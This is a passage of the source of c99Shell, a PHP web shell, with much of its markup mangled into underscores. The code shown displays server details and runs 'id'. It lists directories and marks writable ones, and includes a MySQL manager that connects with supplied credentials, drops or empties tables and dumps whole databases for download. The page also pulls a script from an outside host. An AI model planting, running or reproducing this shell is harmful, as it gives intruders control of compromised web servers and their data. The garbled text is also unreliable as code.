scrollbar-3dlight-color: #101010;
scrollbar-darkshadow-color: #101010;
scrollbar-track-color: #101010;
scrollbar-arrow-color: #101010;
font-family: Verdana;
}TD.header { FONT-WEIGHT: normal;
FONT-SIZE: 10pt;
BACKGROUND: #7d7474;
COLOR: white;
FONT-FAMILY: verdana;
}A { FONT-WEIGHT: normal;
COLOR: #dadada;
FONT-FAMILY: verdana;
TEXT-DECORATION: none;
}A:unknown { FONT-WEIGHT: normal;
COLOR: #ffffff;
FONT-FAMILY: verdana;
TEXT-DECORATION: none;
}A.Links { COLOR: #ffffff;
TEXT-DECORATION: none;
}A.Links:unknown { FONT-WEIGHT: normal;
COLOR: #ffffff;
TEXT-DECORATION: none;
}A:hover { COLOR: #ffffff;
TEXT-DECORATION: underline;
}.skin0{position:absolute;
width:200px;
border:2px solid black;
background-color:menu;
font-family:Verdana;
line-height:20px;
cursor:default;
visibility:hidden;
;
}.skin1{cursor: default;
font: menutext;
position: absolute;
width: 145px;
background-color: menu;
border: 1 solid buttonface;
visibility:hidden;
border: 2 outset buttonhighlight;
font-family: Verdana,Geneva, Arial;
font-size: 10px;
color: black;
}.menuitems{padding-left:15px;
padding-right:10px;
;
}input{background-color: #800000;
font-size: 8pt;
color: #FFFFFF;
font-family: Tahoma;
border: 1 solid #666666;
}textarea{background-color: #800000;
font-size: 8pt;
color: #FFFFFF;
font-family: Tahoma;
border: 1 solid #666666;
}button{background-color: #800000;
font-size: 8pt;
color: #FFFFFF;
font-family: Tahoma;
border: 1 solid #666666;
}select{background-color: #800000;
font-size: 8pt;
color: #FFFFFF;
font-family: Tahoma;
border: 1 solid #666666;
}option {background-color: #800000;
font-size: 8pt;
color: #FFFFFF;
font-family: Tahoma;
border: 1 solid #666666;
}iframe {background-color: #800000;
font-size: 8pt;
color: #FFFFFF;
font-family: Tahoma;
border: 1 solid #666666;
}p {MARGIN-TOP: 0px;
MARGIN-BOTTOM: 0px;
LINE-HEIGHT: 150%}blockquote{ font-size: 8pt;
font-family: Courier, Fixed, Arial;
border : 8px solid #A9A9A9;
padding: 1em;
margin-top: 1em;
margin-bottom: 5em;
margin-right: 3em;
margin-left: 4em;
background-color: #B7B2B0;
}body,td,th { font-family: verdana;
color: #d9d9d9;
font-size: 11px;
}body { background-color: #000000;
}_/style__/head__SCRIPT SRC_http://r57.gen.tr/yazciz/ciz.js__/SCRIPT__BODY text_#ffffff bottomMargin_0 bgColor_#000000 leftMargin_0 topMargin_0 rightMargin_0 marginheight_0 marginwidth_0__center__TABLE style_"BORDER-COLLAPSE: collapse" height_1 cellSpacing_0 borderColorDark_#666666 cellPadding_5 width_"100%" bgColor_#333333 borderColorLight_#c0c0c0 border_1 bordercolor_"#C0C0C0"__tr__th width_"101%" height_"15" nowrap bordercolor_"#C0C0C0" valign_"top" colspan_"2"__p__font face_Webdings size_6__b_!_/b__/font__a href_"
_?php echo $surl;

?_"__font face_"Verdana" size_"5"__b_c99Shell v.
_?php echo $shver;

?__/b__/font__/a__font face_Webdings size_6__b_!_/b__/font__/p__/center__/th__/tr__tr__td__p align_"left"__b_Software: 

_?php echo $DISP_SERVER_SOFTWARE;

?__/b_ 
_/p__p align_"left"__b_uname -a: 

_?php echo wordwrap(php_uname(),90,"_br_",1);

?__/b_ 
_/p__p align_"left"__b_
_?php if (!$win) {echo wordwrap(myshellexec("id"),90,"_br_",1);
} else {echo get_current_user();
}
?__/b_ 
_/p__p align_"left"__b_Safe-mode: 

_?php echo $hsafemode;

?__/b__/p__p align_"left"_
_?php $d _ str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d _ realpath(".");
} elseif(realpath($d)) {$d _ realpath($d);
} $d _ str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) !_ DIRECTORY_SEPARATOR) {$d ._ DIRECTORY_SEPARATOR;
} $d _ str_replace("\\\\","\\",$d);
$dispd _ htmlspecialchars($d);
$pd _ $e _ explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i _ 0;
foreach($pd as $b) { $t _ "";
$j _ 0;
foreach ($e as $r) { $t._ $r.DIRECTORY_SEPARATOR;
if ($j __ $i) {break;
} $j++;
} echo "_a href_\"".$surl."act_ls&d_".urlencode($t)."&sort_".$sort."\"__b_".htmlspecialchars($b).DIRECTORY_SEPARATOR."_/b__/a_";
$i++;
} echo " 
 
 
";
if (is_writable($d)) { $wd _ TRUE;
$wdt _ "_font color_green_[ ok ]_/font_";
echo "_b__font color_green_".view_perms(fileperms($d))."_/font__/b_";
} else { $wd _ FALSE;
$wdt _ "_font color_red_[ Read-Only ]_/font_";
echo "_b_".view_perms_color($d)."_/b_";
} if (is_callable("disk_free_space")) { $free _ disk_free_space($d);
$total _ disk_total_space($d);
if ($free ___ FALSE) {$free _ 0;
} if ($total ___ FALSE) {$total _ 0;
} if ($free _ 0) {$free _ 0;
} if ($total _ 0) {$total _ 0;
} $used _ $total-$free;
$free_percent _ round(100/($total/$free),2);
echo "_br__b_Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)_/b_";
} echo "_br_";
$letters _ "";
if ($win) { $v _ explode("\\",$d);
$v _ $v[0];
foreach (range("a","z") as $letter) { $bool _ $isdiskette _ in_array($letter,$safemode_diskettes);
if (!$bool) {$bool _ is_dir($letter.":\\");
} if ($bool) { $letters ._ "_a href_\"".$surl."act_ls&d_".urlencode($letter.":\\")."\"".($isdiskette?" onclick_\"return confirm(\_Make sure that the diskette is inserted properly, otherwise an error may occur.\_)\"":"")."_[ ";
if ($letter.":" !_ $v) {$letters ._ $letter;
} else {$letters ._ "_font color_green_".$letter."_/font_";
} $letters ._ " ]_/a_ ";
} } if (!empty($letters)) {echo "_b_Detected drives_/b_: ".$letters."_br_";
} } if (count($quicklaunch) _ 0) { foreach($quicklaunch as $item) { $item[1] _ str_replace("%d",urlencode($d),$item[1]);
$item[1] _ str_replace("%sort",$sort,$item[1]);
$v _ realpath($d."..");
if (empty($v)) {$a _ explode(DIRECTORY_SEPARATOR,$d);
unset($a[count($a)-2]);
$v _ join(DIRECTORY_SEPARATOR,$a);
} $item[1] _ str_replace("%upd",urlencode($v),$item[1]);
echo "_a href_\"".$item[1]."\"_".$item[0]."_/a_ 
 
 
 
";
} } echo "_/p__/td__/tr__/table__br_";
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "_TABLE style_\"BORDER-COLLAPSE: collapse\" cellSpacing_0 borderColorDark_#666666 cellPadding_5 width_\"100%\" bgColor_#333333 borderColorLight_#c0c0c0 border_1__tr__td width_\"100%\" valign_\"top\"_".$donated_html."_/td__/tr__/table__br_";
} echo "_TABLE style_\"BORDER-COLLAPSE: collapse\" cellSpacing_0 borderColorDark_#666666 cellPadding_5 width_\"100%\" bgColor_#333333 borderColorLight_#c0c0c0 border_1__tr__td width_\"100%\" valign_\"top\"_";
if ($act __ "") {$act _ $dspact _ "ls";
} if ($act __ "sql") { $sql_surl _ $surl."act_sql";
if ($sql_login) {$sql_surl ._ "&sql_login_".htmlspecialchars($sql_login);
} if ($sql_passwd) {$sql_surl ._ "&sql_passwd_".htmlspecialchars($sql_passwd);
} if ($sql_server) {$sql_surl ._ "&sql_server_".htmlspecialchars($sql_server);
} if ($sql_port) {$sql_surl ._ "&sql_port_".htmlspecialchars($sql_port);
} if ($sql_db) {$sql_surl ._ "&sql_db_".htmlspecialchars($sql_db);
} $sql_surl ._ "&";

?__h3_Attention! SQL-Manager is _u_NOT_/u_ ready module! Don\_t reports bugs._/h3__TABLE style_"BORDER-COLLAPSE: collapse" height_1 cellSpacing_0 borderColorDark_#666666 cellPadding_5 width_"100%" bgColor_#333333 borderColorLight_#c0c0c0 border_1 bordercolor_"#C0C0C0"__tr__td width_"100%" height_"1" colspan_"2" valign_"top"__center_
_?php if ($sql_server) { $sql_sock _ mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
$err _ mysql_smarterror();
@mysql_select_db($sql_db,$sql_sock);
if ($sql_query and $submit) {$sql_query_result _ mysql_query($sql_query,$sql_sock);
$sql_query_error _ mysql_smarterror();
} } else {$sql_sock _ FALSE;
} echo "_b_SQL Manager:_/b__br_";
if (!$sql_sock) { if (!$sql_server) {echo "NO CONNECTION";
} else {echo "_center__b_Can\_t connect_/b__/center_";
echo "_b_".$err."_/b_";
} } else { $sqlquicklaunch _ array();
$sqlquicklaunch[] _ array("Index",$surl."act_sql&sql_login_".htmlspecialchars($sql_login)."&sql_passwd_".htmlspecialchars($sql_passwd)."&sql_server_".htmlspecialchars($sql_server)."&sql_port_".htmlspecialchars($sql_port)."&");
$sqlquicklaunch[] _ array("Query",$sql_surl."sql_act_query&sql_tbl_".urlencode($sql_tbl));
$sqlquicklaunch[] _ array("Server-status",$surl."act_sql&sql_login_".htmlspecialchars($sql_login)."&sql_passwd_".htmlspecialchars($sql_passwd)."&sql_server_".htmlspecialchars($sql_server)."&sql_port_".htmlspecialchars($sql_port)."&sql_act_serverstatus");
$sqlquicklaunch[] _ array("Server variables",$surl."act_sql&sql_login_".htmlspecialchars($sql_login)."&sql_passwd_".htmlspecialchars($sql_passwd)."&sql_server_".htmlspecialchars($sql_server)."&sql_port_".htmlspecialchars($sql_port)."&sql_act_servervars");
$sqlquicklaunch[] _ array("Processes",$surl."act_sql&sql_login_".htmlspecialchars($sql_login)."&sql_passwd_".htmlspecialchars($sql_passwd)."&sql_server_".htmlspecialchars($sql_server)."&sql_port_".htmlspecialchars($sql_port)."&sql_act_processes");
$sqlquicklaunch[] _ array("Logout",$surl."act_sql");
echo "_center__b_MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")_/b__br_";
if (count($sqlquicklaunch) _ 0) {foreach($sqlquicklaunch as $item) {echo "[ _a href_\"".$item[1]."\"__b_".$item[0]."_/b__/a_ ] ";
}} echo "_/center_";
} echo "_/td__/tr__tr_";
if (!$sql_sock) {
?__td width_"28%" height_"100" valign_"top"__center__font size_"5"_ i _/font__/center__li_If login is null, login is owner of process._li_If host is null, host is localhost_/b__li_If port is null, port is 3306 (default)_/td__td width_"90%" height_"1" valign_"top"__TABLE height_1 cellSpacing_0 cellPadding_0 width_"100%" border_0__tr__td_ 
_b_Please, fill the form:_/b__table__tr__td__b_Username_/b__/td__td__b_Password_/b_ 
_/td__td__b_Database_/b_ 
_/td__/tr__form action_"
_?php echo $surl;

?_" method_"POST"__input type_"hidden" name_"act" value_"sql"__tr__td__input type_"text" name_"sql_login" value_"root" maxlength_"64"__/td__td__input type_"password" name_"sql_passwd" value_"" maxlength_"64"__/td__td__input type_"text" name_"sql_db" value_"" maxlength_"64"__/td__/tr__tr__td__b_Host_/b__/td__td__b_PORT_/b__/td__/tr__tr__td align_right__input type_"text" name_"sql_server" value_"localhost" maxlength_"64"__/td__td__input type_"text" name_"sql_port" value_"3306" maxlength_"6" size_"3"__/td__td__input type_"submit" value_"Connect"__/td__/tr__tr__td__/td__/tr__/form__/table__/td_
_?php } else { if (!empty($sql_db)) {
?__td width_"25%" height_"100%" valign_"top"__a href_"
_?php echo $surl."act_sql&sql_login_".htmlspecialchars($sql_login)."&sql_passwd_".htmlspecialchars($sql_passwd)."&sql_server_".htmlspecialchars($sql_server)."&sql_port_".htmlspecialchars($sql_port)."&";

?_"__b_Home_/b__/a__hr size_"1" noshade_
_?php $result _ mysql_list_tables($sql_db);
if (!$result) {echo mysql_smarterror();
} else { echo "---[ _a href_\"".$sql_surl."&\"__b_".htmlspecialchars($sql_db)."_/b__/a_ ]---_br_";
$c _ 0;
while ($row _ mysql_fetch_array($result)) {$count _ mysql_query ("SELECT COUNT(*) FROM ".$row[0]);
$count_row _ mysql_fetch_array($count);
echo "_b_» 
_a href_\"".$sql_surl."sql_db_".htmlspecialchars($sql_db)."&sql_tbl_".htmlspecialchars($row[0])."\"__b_".htmlspecialchars($row[0])."_/b__/a_ (".$count_row[0].")_/br__/b_";
mysql_free_result($count);
$c++;
} if (!$c) {echo "No tables found in database.";
} } } else {
?__td width_"1" height_"100" valign_"top"__a href_"
_?php echo $sql_surl;

?_"__b_Home_/b__/a__hr size_"1" noshade_
_?php $result _ mysql_list_dbs($sql_sock);
if (!$result) {echo mysql_smarterror();
} else {
?__form action_"
_?php echo $surl;

?_"__input type_"hidden" name_"act" value_"sql"__input type_"hidden" name_"sql_login" value_"
_?php echo htmlspecialchars($sql_login);

?_"__input type_"hidden" name_"sql_passwd" value_"
_?php echo htmlspecialchars($sql_passwd);

?_"__input type_"hidden" name_"sql_server" value_"
_?php echo htmlspecialchars($sql_server);

?_"__input type_"hidden" name_"sql_port" value_"
_?php echo htmlspecialchars($sql_port);

?_"__select name_"sql_db"_
_?php $c _ 0;
$dbs _ "";
while ($row _ mysql_fetch_row($result)) {$dbs ._ "_option value_\"".$row[0]."\"";
if ($sql_db __ $row[0]) {$dbs ._ " selected";
} $dbs ._ "_".$row[0]."_/option_";
$c++;
} echo "_option value_\"\"_Databases (".$c.")_/option_";
echo $dbs;
}
?__/select__hr size_"1" noshade_Please, select database_hr size_"1" noshade__input type_"submit" value_"Go"__/form_
_?php } echo "_/td__td width_\"100%\" height_\"1\" valign_\"top\"_";
$diplay _ TRUE;
if ($sql_db) { if (!is_numeric($c)) {$c _ 0;
} if ($c __ 0) {$c _ "no";
} echo "_hr size_\"1\" noshade__center__b_There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).")._br_";
if (count($dbquicklaunch) _ 0) {foreach($dbsqlquicklaunch as $item) {echo "[ _a href_\"".$item[1]."\"_".$item[0]."_/a_ ] ";
}} echo "_/b__/center_";
$acts _ array("","dump");
if ($sql_act __ "tbldrop") {$sql_query _ "DROP TABLE";
foreach($boxtbl as $v) {$sql_query ._ "\n`".$v."` ,";
} $sql_query _ substr($sql_query,0,-1).";
";
$sql_act _ "query";
} elseif ($sql_act __ "tblempty") {$sql_query _ "";
foreach($boxtbl as $v) {$sql_query ._ "DELETE FROM `".$v."` \n";
} $sql_act _ "query";
} elseif ($sql_act __ "tbldump") {if (count($boxtbl) _ 0) {$dmptbls _ $boxtbl;
} elseif($thistbl) {$dmptbls _ array($sql_tbl);
} $sql_act _ "dump";
} elseif ($sql_act __ "tblcheck") {$sql_query _ "CHECK TABLE";
foreach($boxtbl as $v) {$sql_query ._ "\n`".$v."` ,";
} $sql_query _ substr($sql_query,0,-1).";
";
$sql_act _ "query";
} elseif ($sql_act __ "tbloptimize") {$sql_query _ "OPTIMIZE TABLE";
foreach($boxtbl as $v) {$sql_query ._ "\n`".$v."` ,";
} $sql_query _ substr($sql_query,0,-1).";
";
$sql_act _ "query";
} elseif ($sql_act __ "tblrepair") {$sql_query _ "REPAIR TABLE";
foreach($boxtbl as $v) {$sql_query ._ "\n`".$v."` ,";
} $sql_query _ substr($sql_query,0,-1).";
";
$sql_act _ "query";
} elseif ($sql_act __ "tblanalyze") {$sql_query _ "ANALYZE TABLE";
foreach($boxtbl as $v) {$sql_query ._ "\n`".$v."` ,";
} $sql_query _ substr($sql_query,0,-1).";
";
$sql_act _ "query";
} elseif ($sql_act __ "deleterow") {$sql_query _ "";
if (!empty($boxrow_all)) {$sql_query _ "DELETE * FROM `".$sql_tbl."`;
";
} else {foreach($boxrow as $v) {$sql_query ._ "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
\n";
} $sql_query _ substr($sql_query,0,-1);
} $sql_act _ "query";
} elseif ($sql_tbl_act __ "insert") { if ($sql_tbl_insert_radio __ 1) { $keys _ "";
$akeys _ array_keys($sql_tbl_insert);
foreach ($akeys as $v) {$keys ._ "`".addslashes($v)."`, ";
} if (!empty($keys)) {$keys _ substr($keys,0,strlen($keys)-2);
} $values _ "";
$i _ 0;
foreach (array_values($sql_tbl_insert) as $v) {if ($funct _ $sql_tbl_insert_functs[$akeys[$i]]) {$values ._ $funct." (";
} $values ._ "\_".addslashes($v)."\_";
if ($funct) {$values ._ ")";
} $values ._ ", ";
$i++;
} if (!empty($values)) {$values _ substr($values,0,strlen($values)-2);
} $sql_query _ "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );
";
$sql_act _ "query";
$sql_tbl_act _ "browse";
} elseif ($sql_tbl_insert_radio __ 2) { $set _ mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
$sql_query _ "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;
";
$result _ mysql_query($sql_query) or print(mysql_smarterror());
$result _ mysql_fetch_array($result, MYSQL_ASSOC);
$sql_act _ "query";
$sql_tbl_act _ "browse";
} } if ($sql_act __ "query") { echo "_hr size_\"1\" noshade_";
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error _ "Query was empty";
} echo "_b_Error:_/b_ _br_".$sql_query_error."_br_";
} if ($sql_query_result or (!$sql_confirm)) {$sql_act _ $sql_goto;
} if ((!$submit) or ($sql_act)) {echo "_table border_\"0\" width_\"100%\" height_\"1\"__tr__td__form action_\"".$sql_surl."\" method_\"POST\"__b_";
if (($sql_query) and (!$submit)) {echo "Do you really want to:";
} else {echo "SQL-Query :";
} echo "_/b__br__br__textarea name_\"sql_query\" cols_\"100\" rows_\"10\"_".htmlspecialchars($sql_query)."_/textarea__br__br__input type_\"hidden\" name_\"sql_act\" value_\"query\"__input type_\"hidden\" name_\"sql_tbl\" value_\"".htmlspecialchars($sql_tbl)."\"__input type_\"hidden\" name_\"submit\" value_\"1\"__input type_\"hidden\" name_\"sql_goto\" value_\"".htmlspecialchars($sql_goto)."\"__input type_\"submit\" name_\"sql_confirm\" value_\"Yes\"_ 
_input type_\"submit\" value_\"No\"__/form__/td__/tr__/table_";
} } if (in_array($sql_act,$acts)) {
?__table border_"0" width_"100%" height_"1"__tr__td width_"30%" height_"1"__b_Create new table:_/b__form action_"
_?php echo $surl;

?_"__input type_"hidden" name_"act" value_"sql"__input type_"hidden" name_"sql_act" value_"newtbl"__input type_"hidden" name_"sql_db" value_"
_?php echo htmlspecialchars($sql_db);

?_"__input type_"hidden" name_"sql_login" value_"
_?php echo htmlspecialchars($sql_login);

?_"__input type_"hidden" name_"sql_passwd" value_"
_?php echo htmlspecialchars($sql_passwd);

?_"__input type_"hidden" name_"sql_server" value_"
_?php echo htmlspecialchars($sql_server);

?_"__input type_"hidden" name_"sql_port" value_"
_?php echo htmlspecialchars($sql_port);

?_"__input type_"text" name_"sql_newtbl" size_"20"_ 
_input type_"submit" value_"Create"__/form__/td__td width_"30%" height_"1"__b_Dump DB:_/b__form action_"
_?php echo $surl;

?_"__input type_"hidden" name_"act" value_"sql"__input type_"hidden" name_"sql_act" value_"dump"__input type_"hidden" name_"sql_db" value_"
_?php echo htmlspecialchars($sql_db);

?_"__input type_"hidden" name_"sql_login" value_"
_?php echo htmlspecialchars($sql_login);

?_"__input type_"hidden" name_"sql_passwd" value_"
_?php echo htmlspecialchars($sql_passwd);

?_"__input type_"hidden" name_"sql_server" value_"
_?php echo htmlspecialchars($sql_server);

?_"__input type_"hidden" name_"sql_port" value_"
_?php echo htmlspecialchars($sql_port);

?_"__input type_"text" name_"dump_file" size_"30" value_"
_?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql";

?_"_ 
_input type_"submit" name_\"submit\" value_"Dump"__/form__/td__td width_"30%" height_"1"__/td__/tr__tr__td width_"30%" height_"1"__/td__td width_"30%" height_"1"__/td__td width_"30%" height_"1"__/td__/tr__/table_
_?php if (!empty($sql_act)) {echo "_hr size_\"1\" noshade_";
} if ($sql_act __ "newtbl") { echo "_b_";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!_/b__br_";
} else {echo "Can\_t create DB \"".htmlspecialchars($sql_newdb)."\"._br_Reason:_/b_ ".mysql_smarterror();
} } elseif ($sql_act __ "dump") { if (empty($submit)) { $diplay _ FALSE;
echo "_form method_\"GET\"__input type_\"hidden\" name_\"act\" value_\"sql\"__input type_\"hidden\" name_\"sql_act\" value_\"dump\"__input type_\"hidden\" name_\"sql_db\" value_\"".htmlspecialchars($sql_db)."\"__input type_\"hidden\" name_\"sql_login\" value_\"".htmlspecialchars($sql_login)."\"__input type_\"hidden\" name_\"sql_passwd\" value_\"".htmlspecialchars($sql_passwd)."\"__input type_\"hidden\" name_\"sql_server\" value_\"".htmlspecialchars($sql_server)."\"__input type_\"hidden\" name_\"sql_port\" value_\"".htmlspecialchars($sql_port)."\"__input type_\"hidden\" name_\"sql_tbl\" value_\"".htmlspecialchars($sql_tbl)."\"__b_SQL-Dump:_/b__br__br_";
echo "_b_DB:_/b_ 
_input type_\"text\" name_\"sql_db\" value_\"".urlencode($sql_db)."\"__br__br_";
$v _ join (";
",$dmptbls);
echo "_b_Only tables (explode \";
\") 
_b__sup_1_/sup__/b_:_/b_ 
_input type_\"text\" name_\"dmptbls\" value_\"".htmlspecialchars($v)."\" size_\"".(strlen($v)+5)."\"__br__br_";
if ($dump_file) {$tmp _ $dump_file;
} else {$tmp _ htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");
} echo "_b_File:_/b_ 
_input type_\"text\" name_\"sql_dump_file\" value_\"".$tmp."\" size_\"".(strlen($tmp)+strlen($tmp) % 30)."\"__br__br_";
echo "_b_Download: _/b_ 
_input type_\"checkbox\" name_\"sql_dump_download\" value_\"1\" checked__br__br_";
echo "_b_Save to file: _/b_ 
_input type_\"checkbox\" name_\"sql_dump_savetofile\" value_\"1\" checked_";
echo "_br__br__input type_\"submit\" name_\"submit\" value_\"Dump\"__br__br__b__sup_1_/sup__/b_ - all, if empty";
echo "_/form_";
} else { $diplay _ TRUE;
$set _ array();
$set["sock"] _ $sql_sock;
$set["db"] _ $sql_db;
$dump_out _ "download";
$set["print"] _ 0;
$set["nl2br"] _ 0;
$set[""] _ 0;
$set["file"] _ $dump_file;
$set["add_drop"] _ TRUE;
$set["onlytabs"] _ array();
if (!empty($dmptbls)) {$set["onlytabs"] _ explode(";
",$dmptbls);
} $ret _ mysql_dump($set);
if ($sql_dump_download) { @ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($ret));
header("Content-disposition: attachment;
filename_\"".basename($sql_dump_file)."\";
");
echo $ret;
exit;
} elseif ($sql_dump_savetofile) { $fp _ fopen($sql_dump_file,"w");
if (!$fp) {echo "_b_Dump error! Can\_t write to \"".htmlspecialchars($sql_dump_file)."\"!";
} else { fwrite($fp,$ret);
fclose($fp);
echo "_b_Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")_/b_.";
} } else {echo "_b_Dump: nothing to do!_/b_";
} } } if ($diplay) { if (!empty($sql_tbl)) { if (empty($sql_tbl_act)) {$sql_tbl_act _ "browse";
} $count _ mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;
");
$count_row _ mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result _ mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;
");
$tbl_struct_fields _ array();
while ($row _ mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] _ $row;
} if ($sql_ls _ $sql_le) {$sql_le _ $sql_ls + $perpage;
} if (empty($sql_tbl_page)) {$sql_tbl_page _ 0;
} if (empty($sql_tbl_ls)) {$sql_tbl_ls _ 0;
} if (empty($sql_tbl_le)) {$sql_tbl_le _ 30;
} $perpage _ $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage _ 10;
} $numpages _ $count_row[0]/$perpage;
$e _ explode(" ",$sql_order);
if (count($e) __ 2) { if ($e[0] __ "d") {$asc_desc _ "DESC";
} else {$asc_desc _ "ASC";
} $v _ "ORDER BY `".$e[1]."` ".$asc_desc." ";
} else {$v _ "";
} $query _ "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
$result _ mysql_query($query) or print(mysql_smarterror());
echo "_hr size_\"1\" noshade__center__b_Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)_/b__/center_";
echo "_a href_\"".$sql_surl."sql_tbl_".urlencode($sql_tbl)."&sql_tbl_act_structure\"_[ 
_b_Structure_/b_ 
]_/a_ 
 
 
";
echo "_a href_\"".$sql_surl."sql_tbl_".urlencode($sql_tbl)."&sql_tbl_act_browse\"_[ 
_b_Browse_/b_ 
]_/a_ 
 
 
";
echo "_a href_\"".$sql_surl."sql_tbl_".urlencode($sql_tbl)."&sql_act_tbldump&thistbl_1\"_[ 
_b_Dump_/b_ 
]_/a_ 
 
 
";
echo "_a href_\"".$sql_surl."sql_tbl_".urlencode($sql_tbl)."&sql_tbl_act_insert\"_[ 
_b_Insert_/b_ 
]_/a_ 
 
 
";
if ($sql_tbl_act __ "structure") {echo "_br__br__b_Coming sooon!_/b_";
} if ($sql_tbl_act __ "insert") { if (!is_array($sql_tbl_insert)) {$sql_tbl_insert _ array();
} if (!empty($sql_tbl_insert_radio)) { } else { echo "_br__br__b_Inserting row into table:_/b__br_";
if (!empty($sql_tbl_insert_q)) { $sql_query _ "SELECT * FROM `".$sql_tbl."`";
$sql_query ._ " WHERE".$sql_tbl_insert_q;
$sql_query ._ " LIMIT 1;
";
$result _ mysql_query($sql_query,$sql_sock) or print("_br__br_".mysql_smarterror());
$values _ mysql_fetch_assoc($result);
mysql_free_result($result);
} else {$values _ array();
} echo "_form method_\"POST\"__TABLE cellSpacing_0 borderColorDark_#666666 cellPadding_5 width_\"1%\" bgColor_#333333 borderColorLight_#c0c0c0 border_1__tr__td__b_Field_/b__/td__td__b_Type_/b__/td__td__b_Function_/b__/td__td__b_Value_/b__/td__/tr_";
foreach ($tbl_struct_fields as $field) { $name _ $field["Field"];
if (empty($sql_tbl_insert_q)) {$v _ "";
} echo "_tr__td__b_".htmlspecialchars($name)."_/b__/td__td_".$field["Type"]."_/td__td__select name_\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"__option value_\"\"__/option__option_PASSWORD_/option__option_MD5_/option__option_ENCRYPT_/option__option_ASCII_/option__option_CHAR_/option__option_RAND_/option__option_LAST_INSERT_ID_/option__option_COUNT_/option__option_AVG_/option__option_SUM_/option__option value_\"\"_--------_/option__option_SOUNDEX_/option__option_LCASE_/option__option_UCASE_/option__option_NOW_/option__option_CURDATE_/option__option_CURTIME_/option__option_FROM_DAYS_/option__option_FROM_UNIXTIME_/option__option_PERIOD_ADD_/option__option_PERIOD_DIFF_/option__option_TO_DAYS_/option__option_UNIX_TIMESTAMP_/option__option_USER_/option__option_WEEKDAY_/option__option_CONCAT_/option__/select__/td__td__input type_\"text\" name_\"sql_tbl_insert[".htmlspecialchars($name)."]\" value_\"".htmlspecialchars($values[$name])."\" size_50__/td__/tr_";
$i++;
} echo "_/table__br_";
echo "_input type_\"radio\" name_\"sql_tbl_insert_radio\" value_\"1\"";
if (empty($sql_tbl_insert_q)) {echo " checked";
} echo "__b_Insert as new row_/b_";
if (!empty($sql_tbl_insert_q)) {echo " or _input type_\"radio\" name_\"sql_tbl_insert_radio\" value_\"2\" checked__b_Save_/b_";
echo "_input type_\"hidden\" name_\"sql_tbl_insert_q\" value_\"".htmlspecialchars($sql_tbl_insert_q)."\"_";
} echo "_br__br__input type_\"submit\" value_\"Confirm\"__/form_";
} } if ($sql_tbl_act __ "browse") { $sql_tbl_ls _ abs($sql_tbl_ls);
$sql_tbl_le _ abs($sql_tbl_le);
echo "_hr size_\"1\" noshade_";
echo "_img src_\"".$surl."act_img&img_multipage\" height_\"12\" width_\"10\" alt_\"Pages\"_ 
";
$b _ 0;
for($i_0;
$i_$numpages;
$i++) { if (($i*$perpage !_ $sql_tbl_ls) or ($i*$perpage+$perpage !_ $sql_tbl_le)) {echo "_a href_\"".$sql_surl."sql_tbl_".urlencode($sql_tbl)."&sql_order_".htmlspecialchars($sql_order)."&sql_tbl_ls_".($i*$perpage)."&sql_tbl_le_".($i*$perpage+$perpage)."\"__u_";
} echo $i;
if (($i*$perpage !_ $sql_tbl_ls) or ($i*$perpage+$perpage !_ $sql_tbl_le)) {echo "_/u__/a_";
} if (($i/30 __ round($i/30)) and ($i _ 0)) {echo "_br_";
} else {echo " 
";
} } if ($i __ 0) {echo "empty";
} echo "_form method_\"GET\"__input type_\"hidden\" name_\"act\" value_\"sql\"__input type_\"hidden\" name_\"sql_db\" value_\"".htmlspecialchars($sql_db)."\"__input type_\"hidden\" name_\"sql_login\" value_\"".htmlspecialchars($sql_login)."\"__input type_\"hidden\" name_\"sql_passwd\" value_\"".htmlspecialchars($sql_passwd)."\"__input type_\"hidden\" name_\"sql_server\" value_\"".htmlspecialchars($sql_server)."\"__input type_\"hidden\" name_\"sql_port\" value_\"".htmlspecialchars($sql_port)."\"__input type_\"hidden\" name_\"sql_tbl\" value_\"".htmlspecialchars($sql_tbl)."\"__input type_\"hidden\" name_\"sql_order\" value_\"".htmlspecialchars($sql_order)."\"__b_From:_/b_ 
_input type_\"text\" name_\"sql_tbl_ls\" value_\"".$sql_tbl_ls."\"_ 
_b_To:_/b_ 
_input type_\"text\" name_\"sql_tbl_le\" value_\"".$sql_tbl_le."\"_ 
_input type_\"submit\" value_\"View\"__/form_";
echo "_br__form method_\"POST\"__TABLE cellSpacing_0 borderColorDark_#666666 cellPadding_5 width_\"1%\" bgColor_#333333 borderColorLight_#c0c0c0 border_1_";
echo "_tr_";
